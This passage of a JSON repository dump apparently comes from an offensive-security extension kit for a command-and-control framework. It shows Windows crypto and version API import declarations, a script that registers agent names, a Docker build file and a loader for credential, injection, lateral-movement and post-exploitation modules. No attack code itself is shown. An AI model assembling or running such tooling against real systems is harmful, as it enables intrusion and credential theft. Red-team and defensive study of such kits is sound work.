LPCWSTR pszProperty, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptSetProperty(BCRYPT_HANDLE hObject, LPCWSTR pszProperty, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptGenerateSymmetricKey(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_KEY_HANDLE *phKey, PUCHAR pbKeyObject, ULONG cbKeyObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptDestroyKey(BCRYPT_KEY_HANDLE hKey);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptDecrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptEncrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptCreateHash(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_HASH_HANDLE *phHash, PUCHAR pbHashObject, ULONG cbHashObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptHashData(BCRYPT_HASH_HANDLE hHash, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptFinishHash(BCRYPT_HASH_HANDLE hHash, PUCHAR pbOutput, ULONG cbOutput, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptDestroyHash(BCRYPT_HASH_HANDLE hHash);\n\n//VERSION\nDECLSPEC_IMPORT DWORD   WINAPI VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea ,LPDWORD lpdwHandle);\nDECLSPEC_IMPORT WINBOOL WINAPI VERSION$GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);\nDECLSPEC_IMPORT WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen);\nDECLSPEC_IMPORT DWORD   WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilename, LPDWORD lpdwHandle);\nDECLSPEC_IMPORT BOOL    WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);\nDECLSPEC_IMPORT BOOL    WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen);"
  },
  {
    "path": "add_agent.sh",
    "content": "#!/bin/bash\n\nif [ -z \"$1\" ]; then\n    echo \"Use: $0 <agent_name>\"\n    echo \"Example: $0 kharon\"\n    exit 1\nfi\n\nAGENT_NAME=\"$1\"\n\nfind . -type f -name \"*.axs\" | while read -r file; do\n    if grep -q 'register_commands_group' \"$file\" && grep -q '\"beacon\", \"gopher\"' \"$file\"; then\n        if ! grep -q \"$AGENT_NAME\" \"$file\"; then\n            echo \"[+] Update file: $file\"\n\n            sed -i 's/\\[\"beacon\", \"gopher\"\\]/[\"beacon\", \"gopher\", \"'\"$AGENT_NAME\"'\"]/g' \"$file\"\n        else\n            echo \"[!] Agent $AGENT_NAME already exists in $file\"\n        fi\n    fi\ndone\n\necho \"--- Complete ---\""
  },
  {
    "path": "docker-compose.yml",
    "content": "services:\n  bof-build:\n    build:\n      context: .\n      dockerfile: Dockerfile\n    volumes:\n      - .:/src\n    working_dir: /src"
  },
  {
    "path": "extension-kit.axs",
    "content": "var metadata = {\n    name: \"\",\n    description: \"\",\n    nosave: true\n};\n\nvar path = ax.script_dir();\nax.script_load(path + \"AD-BOF/ad.axs\");\nax.script_load(path + \"AD-BOF/ad-services.axs\");\nax.script_load(path + \"Creds-BOF/creds.axs\");\nax.script_load(path + \"Elevation-BOF/elevate.axs\");\nax.script_load(path + \"Execution-BOF/execution.axs\");\nax.script_load(path + \"Injection-BOF/inject.axs\");\nax.script_load(path + \"LateralMovement-BOF/lateral.axs\");\nax.script_load(path + \"Postex-BOF/postex.axs\");\nax.script_load(path + \"Process-BOF/process.axs\");\nax.script_load(path + \"SAL-BOF/sal.axs\");\nax.script_load(path + \"SAR-BOF/sar.axs\");\n"
  }
]